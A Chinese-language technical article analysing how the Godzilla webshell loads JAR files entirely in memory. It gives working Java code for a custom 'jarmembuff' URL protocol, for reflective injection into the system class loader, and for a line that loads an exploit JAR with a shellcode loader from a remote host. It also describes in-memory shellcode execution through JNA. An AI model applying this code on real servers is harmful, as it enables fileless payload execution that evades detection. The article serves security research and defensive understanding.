长亭百川云 - 文章详情

分析哥斯拉内存加载Jar技术

网络安全回收站

45

2024-07-13

背景

哥斯拉在第一版的时候就提供了一个黑魔法:内存加载Jar功能。从当时的介绍来看,这个功能本来是为上传数据库驱动用的,后面配合JNA可以实现无文件加载ShellCode,一切都在内存中执行,大大扩展了利用面。

要知道JDK默认没有提供直接内存加载Jar的接口,但是我们可以想到,既然JDK是支持通过http/file协议加载Jar包,也就是这里面一定存在着:读取Jar包内容->加载到内存->defineClass的链路,如果我们能够把第一步跳过去,直接把Jar的byte复制到内存中,就可以实现无文件加载。同样,Java原生是不支持内存加载so或者dll的,但是我们可以通过内存加载Jar的方式,在Jar中包含我们要利用的so/dll即可实现曲线救国。

As-Exploits很早就把这个功能移植了过来,不过目前似乎并没有找到有写分析这个功能的文章,本文抛砖引玉,简单分析分析。

findResource流程分析

在了解无文件加载Jar原理之前,首先了解一下JVM是如何查找Class的 Class.forName后下一个断点,进入java.net.URLClassLoader#findClass,这里有一个很重要的属性ucp,包含了所有的URL实例然后会通过ClassLoader中的ucp属性尝试获取目标类的Resource,这里调用的是sun.misc.URLClassPath#getResource(java.lang.String, boolean),主要逻辑为遍历ucp下所有的URL对象进行资源的查找:sun.misc.URLClassPath.JarLoader#getResource(java.lang.String, boolean)

找到目标Class对应所在Resource对象后,则会走入java.net.URLClassLoader#defineClass方法,进行类的加载

URLClassPath与URL

上面的过程涉及到两个重要的类,直接贴一下ChatGPT的描述: sun.misc.URLClassPath类和java.net.URL类在Java中都与URL(统一资源定位符)相关联,但它们的作用和职责不同。

java.net.URL类是Java标准库中的一个类,用于表示一个统一资源定位符。它提供了许多方法来解析、构建和处理URL。URL对象可以用于打开连接、获取流等操作,以访问网络资源。

sun.misc.URLClassPath类是Java虚拟机(JVM)的一部分,并不属于公共API,它被用于支持类加载器加载和查找类文件。在类的查找过程中,URLClassPath负责管理类加载路径、查找类文件并加载类。

具体来说,当Java程序运行时,JVM的类加载器负责根据类的名称来查找并加载相应的类文件。URLClassPath类是JVM中的一个关键组件,它通过封装一组URL对象(其中包含了可能包含类文件的目录或JAR文件的URL)来提供类的查找功能。URLClassPath通过调用java.net.URL类提供的方法来解析和构建URL对象,并利用这些URL对象来定位和加载类文件。

因此,可以说URLClassPath类是在类加载过程中起着重要的作用,它与java.net.URL类密切合作,使用URL来定位并加载类文件。

HTTP远程加载Jar包原理

知道了findResource的原理,后面就好理解为什么下面的的代码可以远程加载一个Jar包了:实际上就是把我们自定义的远程URL加入到了ucp属性中,后续通过该URL中提供的协议进行类的查找



1.  `URLClassLoader loader = new URLClassLoader(new URL[]{new URL("http://yzddmr6.com/exp.jar")});`
    
2.  `loader.loadClass("asexploits.ShellcodeLoader");`
    


为了摸清这一过程,我们用上面的代码对http协议加载Jar包过程进行调试: 在java.net.URL#URL(java.net.URL, java.lang.String, java.net.URLStreamHandler)断点,发现会根据获取到的协议方式拿到不同的handler,例如http://yzddmr6.com/exp.jar,就会获取http的handler,file:///tmp/exp.jar就会获取file类型的hander java.net.URL#getURLStreamHandler之前查找到的hander会被保存到handlers整个缓存中,如果没有就会进行一个包名的拼接: "sun.net.www.protocol"+protocol+".Handler",找到对应的处理类其实这里的协议是可以构造的,例如我们可以设置一种abc://127.0.0.1/exp.jar,就会识别为abc协议然后在java.net.URL#getURLStreamHandler判断如果handlers里没有缓存,就会尝试去寻找sun.net.www.protocol.abc.Handler这个类,这里handlers属性是一个重点。

除了sun.net.www.protocol.http.Handler以外,默认的JDK还支持以下协议,可以看看:

后续就会依次经过以下步骤, java.net.URL#openConnection java.net.URL#openStream sun.misc.URLClassPath.JarLoader#getJarFile(java.net.URL)在sun.net.www.protocol.http.Handler#openConnection(java.net.URL, java.net.Proxy)中会返回一个新的HttpURLConnection对象,该对象主要负责具体对远程地址的请求,获取Jar的内容。

可以看到在http协议加载Jar过程中有两个重要的类:

这两个类都与HTTP协议相关,在Java中用于处理HTTP连接和请求:

这两个类是获取Jar包内容的核心所在,想要实现内存加载Jar的关键部分就在这里。

内存加载Jar原理

综合看下来,最简单的办法就是实现一套自定义一套协议,在http协议的基础上修改获取Jar的逻辑,这也是beichen师傅的做法

增加自定义protocol

在哥斯拉中叫jarmembuff,在这里我们直接把协议跟对应的handler塞到URL对象的handlers缓存中,核心代码:



1.  `Field declaredField = null;`
    
2.  `files = new ArrayList();`
    

4.  `try {`
    
5.      `declaredField = URL.class.getDeclaredField("handlers");`
    
6.  `} catch (NoSuchFieldException var7) {`
    
7.      `try {`
    
8.          `declaredField = URL.class.getDeclaredField("ph_cache");`
    
9.      `} catch (NoSuchFieldException var5) {`
    
10.      `} catch (Exception var6) {`
    
11.      `}`
    
12.  `}`
    

14.  `declaredField.setAccessible(true);`
    
15.  `Map map = (Map) declaredField.get(null);`
    
16.  `synchronized (map) {`
    
17.      `Object memoryBufferURLStreamHandler;`
    
18.      `if (map.containsKey("jarmembuff")) {`
    
19.          `memoryBufferURLStreamHandler = map.get("jarmembuff");`
    
20.      `} else {`
    
21.          `memoryBufferURLStreamHandler = new MemoryBufferURLStreamHandler();`
    
22.          `map.put("jarmembuff", memoryBufferURLStreamHandler);`
    
23.      `}`
    

25.      `files = (List) memoryBufferURLStreamHandler.getClass().getMethod("getFiles").invoke(memoryBufferURLStreamHandler);`
    
26.  `}`
    


实现自定义URLStreamHandler

MemoryBufferURLStreamHandler中openConnection直接返回自定义的URLConnection类,用于获取Jar的内容



1.  `import java.io.IOException;`
    
2.  `import java.net.URL;`
    
3.  `import java.net.URLConnection;`
    
4.  `import java.net.URLStreamHandler;`
    
5.  `import java.util.ArrayList;`
    
6.  `import java.util.List;`
    

8.  `public class MemoryBufferURLStreamHandler extends URLStreamHandler {`
    
9.      `private final List files = new ArrayList();`
    

11.      `public MemoryBufferURLStreamHandler() {`
    
12.      `}`
    

14.      `public List getFiles() {`
    
15.          `return this.files;`
    
16.      `}`
    

18.      `public URLConnection openConnection(URL url) throws IOException {`
    
19.          `return new MemoryBufferURLConnection(url);`
    
20.      `}`
    
21.  `}`
    


实现自定义URLConnection

MemoryBufferURLConnection,在getInputStream方法中直接返回要加载Jar包的byte数组,该数组内容可以自定义传入,即内存加载



1.  `import java.io.ByteArrayInputStream;`
    
2.  `import java.io.IOException;`
    
3.  `import java.io.InputStream;`
    
4.  `import java.lang.reflect.Field;`
    
5.  `import java.net.MalformedURLException;`
    
6.  `import java.net.URL;`
    
7.  `import java.net.URLConnection;`
    
8.  `import java.util.ArrayList;`
    
9.  `import java.util.List;`
    
10.  `import java.util.Map;`
    

12.  `public class MemoryBufferURLConnection extends URLConnection {`
    
13.      `private static List files;`
    
14.      `private final String contentType;`
    
15.      `private final byte[] data;`
    

17.      `protected MemoryBufferURLConnection(URL url) {`
    
18.          `super(url);`
    
19.          `String file = url.getFile();`
    
20.          `int indexOf = file.indexOf(47);`
    
21.          `synchronized (files) {`
    
22.              `this.data = (byte[]) files.get(Integer.parseInt(file.substring(0, indexOf)));`
    
23.          `}`
    

25.          `this.contentType = file.substring(indexOf + 1);`
    
26.      `}`
    

28.      `public static URL createURL(byte[] bArr, String str) throws MalformedURLException {`
    
29.          `synchronized (files) {`
    
30.              `files.add(bArr);`
    
31.              `URL url = new URL("jarmembuff", "", files.size() - 1 + "/" + str);`
    
32.              `return url;`
    
33.          `}`
    
34.      `}`
    

36.      `public void connect() throws IOException {`
    
37.      `}`
    

39.      `public int getContentLength() {`
    
40.          `return this.data.length;`
    
41.      `}`
    

43.      `public String getContentType() {`
    
44.          `return this.contentType;`
    
45.      `}`
    

47.      `public InputStream getInputStream() throws IOException {`
    
48.          `return new ByteArrayInputStream(this.data); // 直接返回内存中的内容`
    
49.      `}`
    
50.  `}`
    


添加到SystemClassLoader的ucp中

调用时首先将两个类打入内存上下文,然后调用MemoryBufferURLConnection的createURL创建构造好的URL对象,最后通过反射塞到SystemClassLoader的ucp中



1.  `public String load(byte[] jarClassData) {`
    
2.      `Class URLConnectionClass = null;`
    
3.      `try {`
    
4.          `String MemoryBufferURLConnection = "";`
    
5.          `String MemoryBufferURLStreamHandler = "";`
    
6.          `defClz(Base64DecodeToByte(MemoryBufferURLStreamHandler));`
    
7.          `URLConnectionClass = defClz(Base64DecodeToByte(MemoryBufferURLConnection));`
    
8.      `} catch (Exception e) {`
    

10.      `}`
    
11.      `if (jarClassData != null) {`
    
12.          `try {`
    
13.              `return addJar((URL) URLConnectionClass.getMethod("createURL", byte[].class, String.class).invoke(null, jarClassData, "application/jar"));`
    
14.          `} catch (Exception e) {`
    
15.              `return e.getMessage();`
    
16.          `}`
    
17.      `} else {`
    
18.          `return "jarByteArray is null";`
    
19.      `}`
    
20.  `}`
    


files对象

这里哥斯拉有一个小细节,MemoryBufferURLStreamHandler中有一个没有使用过的files对象,研究了一下是什么作用其实是因为MemoryBufferURLConnection每次是new出来的,无法保存之前加载过的Jar内容,这里的List是一个浅拷贝,链接到MemoryBufferURLStreamHandler实例对象中,这样就可以在每次new之后依旧保留曾经加载过的jar,不需要重复加载。

适配高版本JDK

JDK9实现了模块化,SystemClassLoader不再是URLClassLoader的子类,所以原有的Poc就不能直接用了。520师傅后来进行了一系列改进,支持了高版本JDK。其实基本原理差不多,主要是用https://github.com/BeichenDream/Kcon2021Code中的trick绕过JDK了模块保护和反射过滤

As-Exploits内存加载ShellCode

通过Jar加载器-内存加载,上传ext目录下的loader.jar可以通过Js引擎执行功能先试一下看类在不在,发现确实可以查找到ShellCode加载器模块-加载方式JNA,exploit,弹出计算器,也就实现了内存加载ShellCode的功能

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2